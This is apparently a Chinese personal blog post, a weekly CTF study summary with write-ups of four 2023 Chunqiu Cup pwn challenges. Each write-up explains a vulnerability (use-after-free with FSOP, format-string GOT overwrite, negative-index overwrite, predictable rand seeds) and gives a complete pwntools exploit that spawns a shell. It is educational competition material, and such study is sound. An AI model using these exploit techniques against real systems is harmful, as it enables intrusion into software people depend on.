24-07-29

本周学习总结

麻垮,这周遇到随机数仙人了。

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[2023年春秋杯网络安全联赛春季赛]–three-body–你也是ETO的人?

Glibc版本:Ubuntu GLIBC 2.35-0ubuntu3

Check:

64位程序保护全开。

Ida:

漏洞点:

存在uaf漏洞。

程序本身是一道完整的堆题,只有一次show的机会和一次edit的机会,edit时的大小不能超过申请时的大小,malloc申请堆块时会随机不受控制的申请随机大小堆块,并且正常申请的堆块大小限制在0x4FF-0x1000之间,free存在uaf漏洞。

通过查找程序的伪随机数来避免申请的堆块大小不受控制,通过合理的构造unsortbin链来一次获得heap的基地址和libc的基地址。因为堆块申请大小的限制我决定采用万能的house of apple2来getshell。

只有一次的写入机会证明我们要在完成largebin attck的同时也要在栈上构造好fake_io_file。

我们可以先申请一个0x1000的chunk,然后释放它,通过构造unsortbin链的同时用合适大小的堆块将它申请回来,在完成地址的获取后仍然可以通过他们达成largebin attack和构造fake_io_file。这一步需要uaf的配合和edit的宝贵机会。

另外这里提到另外一个python函数库ctypes。因为Linux下C语言的伪随机和其相应的libc有关,而ctypes库下的cdll.LoadLibrary可以加载C的函数库到python中,通过python调用C函数的实现。

因为我的系统似乎不能调用C函数time(0)来获得随机种子,所以在python中用int(time.time())也可以达到同样的效果。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *
from ctypes import *
import time

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf, Arch):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh, arch=Arch)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote({IP})
p = process("./pwn")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc-2.35.so")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 随机数种子初始化 ====================

lib = cdll.LoadLibrary("./libc-2.35.so")
key = int(time.time())
lib.srand(((key & 0xffffffff) // 100) * 100)

# ==================== 功能函数定义 ====================

def add(index, size):
while 1:
sela(b"Your choice: ", stre(1))
sela(b"explore: ", stre(index))
sela(b"time: ", stre(size))
k = lib.rand() % 10
if k > 4:
# print("A1:" + hex(k))
sela(b"Your decision: (1: yes / 0: no)", stre(1))
else:
# print("A2:" + hex(k))
sela(b"Your decision: (1: yes / 0: no)", stre(0))
return

def dele(index):
sela(b"Your choice: ", stre(2))
sela(b"return: ", stre(index))

def edit(index, size, content):
sela(b"Your choice: ", stre(3))
sela(b"talk to: ", stre(index))
sela(b"send: ", stre(size))
sela(b"conclusions: ", content)

def show(index):
sela(b"Your choice: ", stre(4))
sela(b"Trisolarans: ", stre(index))

# ==================== 漏洞利用 ====================

# 步骤1: 分配chunk
add(0xF, 0x1000)
add(0xE, 0x500)
dele(0xF)

# 步骤2: 分配新chunk
add(0, 0x560)
add(1, 0x530)
add(2, 0x550)
add(3, 0x510)

# 步骤3: 释放chunk 0和2,泄露地址
dele(0)
dele(2)
show(2)

reu(b"follows:\n")
heap_base = raddr64() - 0x290
re(2)
libc_base = raddr64() - 0x219ce0

ph(libc_base, "libc_base")
ph(heap_base, "heap_base")

IO_list_all = libc_base + libc.sym["_IO_list_all"]
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

# 步骤4: 继续分配chunk
add(4, 0x560)
add(5, 0x550)
dele(4)
add(6, 0x600)
dele(5)

# 步骤5: 构造Large Bin Attack + FSOP payload
payload = p64(0) * 3 + p64(IO_list_all - 0x20) + b"A" * 0x548 + p64(0x540) + b"A" * 0x530
payload += p32(0xfffff7f5) + b";sh\x00" + p64(0x561)

# 构造假_IO_FILE_plus结构体
fake_io_file = p64(libc_base + 0x219ce0) * 2
fake_io_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fake_io_file += b"\x00" * 0x70 + p64(heap_base + 0xE40)
fake_io_file += b"\x00" * 0x30 + p64(io_wfile_jumps)
fake_io_file += b"\x00" * (0x20 + 0xE0) + p64(heap_base + 0xF40)
fake_io_file += b"\x00" * (0x8 + 0x10 + 0x68) + p64(sys_addr)

payload += fake_io_file
edit(0xF, len(payload), payload)

# 步骤6: 触发FSOP
add(7, 0x800)
sela(b"Your choice: ", stre(5))

# 进入交互模式
op()

二、[2023年春秋杯网络安全联赛春季赛]–babygame

Check:

64位程序,canary+NX开启。

Ida:

漏洞点:

存在字符串格式化漏洞。

程序主要逻辑是存在两个主要函数,函数1为闯关模式,题目为通过程序中字典随机排列的4位字符的MD5值来猜测原本的4位字符,但是程序的随机为时间假随机,可以提前通过脚本预测将要猜测的4位字符,并且由于程序运行过快的原因,一段时间内需要猜测的字符不会变化。函数2的选项4有字符串格式化漏洞。

通过闯关获得金币,金币可以用来获得字符串格式化漏洞机会。

通过字符串格式化我们可以修改atoi这个函数的got表,然后在其转换数字之前输入”sh\x00”,这样的效果等同于atoi(“sh\x00”) –> system(“sh\x00”),剩下的libc基地址什么的都可以通过字符格式化漏洞得到。

整体思路就是先大量获得金币,然后通过大量次数的字符串格式化漏洞完成攻击。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
from ctypes import *
import time

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf, Arch):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh, arch=Arch)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接(IP 待填写)
# p = remote({IP})
p = process("./pwn")

# 本地调试选项(已注释)
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

# 漏洞利用流程
strs = "abcdefghijklmnopqrstuvwxyzA"
payload = ""
lib = cdll.LoadLibrary("./libc.so.6")
key = int(time.time())
lib.srand(key)

sela(b">> ", stre(1))
sela(b"level : ", stre(4))

for i in range(4):
payload += strs[lib.rand() % 26]

for k in range(100):
sela(b"Give me : ", payload.encode())

sela(b"Give me : ", stre(1))
sela(b">> ", stre(2))
sela(b">> ", stre(2))
sela(b"need : \n", stre(512))
sela(b">> ", stre(2))
sela(b">> ", stre(1))

payload = b"-%31$p-%27$p-"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))
reu(b"-")

libc_base = int(reu(b"-", True), 16) - 128 - libc.sym["__libc_start_main"]
ph(libc_base, "libc_base")

stack = int(reu(b"-", True), 16) - 0x50
ph(stack, "stack")

atoi_got = 0x602078
sys_addr = libc_base + libc.sym["system"]

sela(b">> ", stre(2))
sela(b">> ", stre(1))
payload = b"%" + stre(stack & 0xFFFF) + b"c%15$hn"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))

sela(b">> ", stre(2))
sela(b">> ", stre(1))
payload = b"%" + stre(atoi_got & 0xFFFFFF) + b"c%45$n"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))

sela(b">> ", stre(2))
sela(b">> ", stre(1))
payload = b"%" + stre(sys_addr & 0xFFFFFF) + b"c%35$n"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))

sela(b">> ", stre(2))
sela(b">> ", stre(1))
payload = b"%" + stre((atoi_got + 3) & 0xFFFFFF) + b"c%45$n"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))

sela(b">> ", stre(2))
sela(b">> ", stre(1))
payload = b"%" + stre((sys_addr >> 24) & 0xFFFFFF) + b"c%35$n"
sea(b"purchase\n", payload)
sela(b">> ", stre(2))
sela(b">> ", stre(4))

sela(b">> ", stre(2))
sela(b">> ", stre(2))
sela(b"need : \n", b"sh\x00")
op()

三、[2023年春秋杯网络安全联赛春季赛]–easy_LzhiFTP

Check:

64位程序,canary+NX+PIE全开,RELRO半开。

Ida:

漏洞点1:

strncat拼接时会将内容放到存放堆块的ptr附近。

漏洞点2:

此处的edit的buf变量可以为负数,存在数组向下越界。

程序开始时需要使用用户名和密码进行登录,其中密码是通过伪随机数生成的,然后验证时是使用的strcmp函数,我们可以测试出第一个字符然后加上”\x00”来绕过密码检查。

正式进入程序后是一道完整的堆题。一开始就给了我们一次有限制的字符串格式化漏洞的机会,我们可以通过这个字符串格式化漏洞获得pie的基地址。

程序在申请堆块时可以让我们编辑堆块的名字并存放在堆块指针数组附近,我们可以将堆块命名为atoi的got表地址,程序本身调用了system,我们完全可以利用堆块指针数组向下越界编辑atoi的got表中的内容为system的plt表,然后通过atoi(“sh\x00”) –> system(“sh\x00”)来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf, Arch):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh, arch=Arch)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote({IP})
p = process("./pwn")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 初始交互与信息泄露 ====================

sea(b"Username: ", b"ZLSF")
sea(b"Input Password: ", b"\x72\x00")

# 格式化字符串泄露PIE基址
payload = b"No" + b"%19$p"
sea(b"do you like my Server??(yes/No)", payload)

reu(b"No")
pie_addr = int(reu(b"\n", True), 16) - 0x1d29
ph(pie_addr, "pie_addr")

# ==================== 功能函数定义 ====================

def add(content):
sela(b"IMLZH1-FTP> ", b"touch " + p64(pie_addr + 0x4098))
sea(b"write Context:", content)

# ==================== 漏洞利用 ====================

# 步骤1: 创建16个文件
for i in range(16):
add(b"A" * 0x8)

# 步骤2: 利用负数索引越界写,修改某个指针
sela(b"IMLZH1-FTP> ", b"edit")
sea(b"idx:\n", stre(-1))
sea(b"Content: ", p64(pie_addr + 0x11C0))

# 步骤3: 再次edit,触发system("/bin/sh")
sela(b"IMLZH1-FTP> ", b"edit")
sea(b"idx:\n", b"sh\x00")

# 进入交互模式
op()

四、[2023年春秋杯网络安全联赛春季赛]–sigin_shellcode

Check:

mips-32-little架构,无任何保护。

Ida:

漏洞点:

达成条件后可以执行0x10长度的shellcode并直接执行。

函数1根据伪随机产生一些金币,你可以选择拿取的数量,但是拿取的数量不能超过随机产生的数量,否则程序会立刻退出。在第100次拿取时会要求你攻击魔王,50%概率直接结束程序,剩下50%要求你的攻击力达到0xABF,在完全拿取99次金币后去函数2中买一把神剑和桃木剑攻击力刚好够,金币也正好画完。

0x10的长度我们是不够输入最小的shellcode的,但是在useful_tools函数中有一段隐藏的汇编代码:

通过搜索0x6873(hs)可以找到这,这里已经将”//bin/sh\x00“放入了寄存器a0中,我们直接将a1和a2清零,然后向v0传调用号4011然后syscall就有50%的概率成功getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
from ctypes import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf, Arch):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh, arch=Arch)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接(IP 待填写)
# p = remote({IP})
# p = process("./pwn")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# QEMU MIPS 调试/运行
# p = process(["qemu-mipsel-static", "-g", "9999", "-L", "./", "./pwn"])
p = process(["qemu-mipsel-static", "-L", "./", "./pwn"])

# 调试与架构设置
# context.log_level = 'debug'
context.arch = "mips"
# context.os = 'linux'

lib = cdll.LoadLibrary(None)
floor = 0

def down():
sela(b"Go> \n", stre(1))
global floor
floor = floor + 1
lib.srand(0x1BF52)
coins = lib.rand() % 0x1BF52 % floor
# print("floor: " + str(floor))
sela(b"How much do you want?\n", stre(coins))

# 漏洞利用流程
for i in range(99):
down()

sela(b"Go> \n", stre(3))
sela(b"> \n", stre(3))
sela(b"Go> \n", stre(3))
sela(b"> \n", stre(2))
down()

shellcode = '''
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall
'''

# shellcode = b"\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\x0c\x01\x01\x01"
print("len: " + hex(len(asm(shellcode))))

sela(b"Shellcode > \n", asm(shellcode))
op()

下周学习计划

| 应该要做的事情 |

下周该学点啥呢。

学习感受

下周该学点啥呢。


24-07-29
https://zlsf-zl.github.io/2024/07/29/7-29-8-5/
作者
ZLSF
发布于
2024年7月29日
许可协议